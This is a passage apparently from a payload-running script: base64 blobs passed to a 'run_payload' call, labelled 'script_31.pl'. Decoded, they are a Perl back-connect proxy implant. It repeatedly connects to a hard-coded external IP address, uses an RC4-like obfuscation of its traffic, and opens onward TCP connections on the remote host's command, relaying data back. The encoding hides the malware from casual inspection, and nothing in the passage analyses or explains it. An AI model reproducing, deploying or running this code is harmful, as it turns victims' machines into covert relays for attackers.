b2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_31.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJC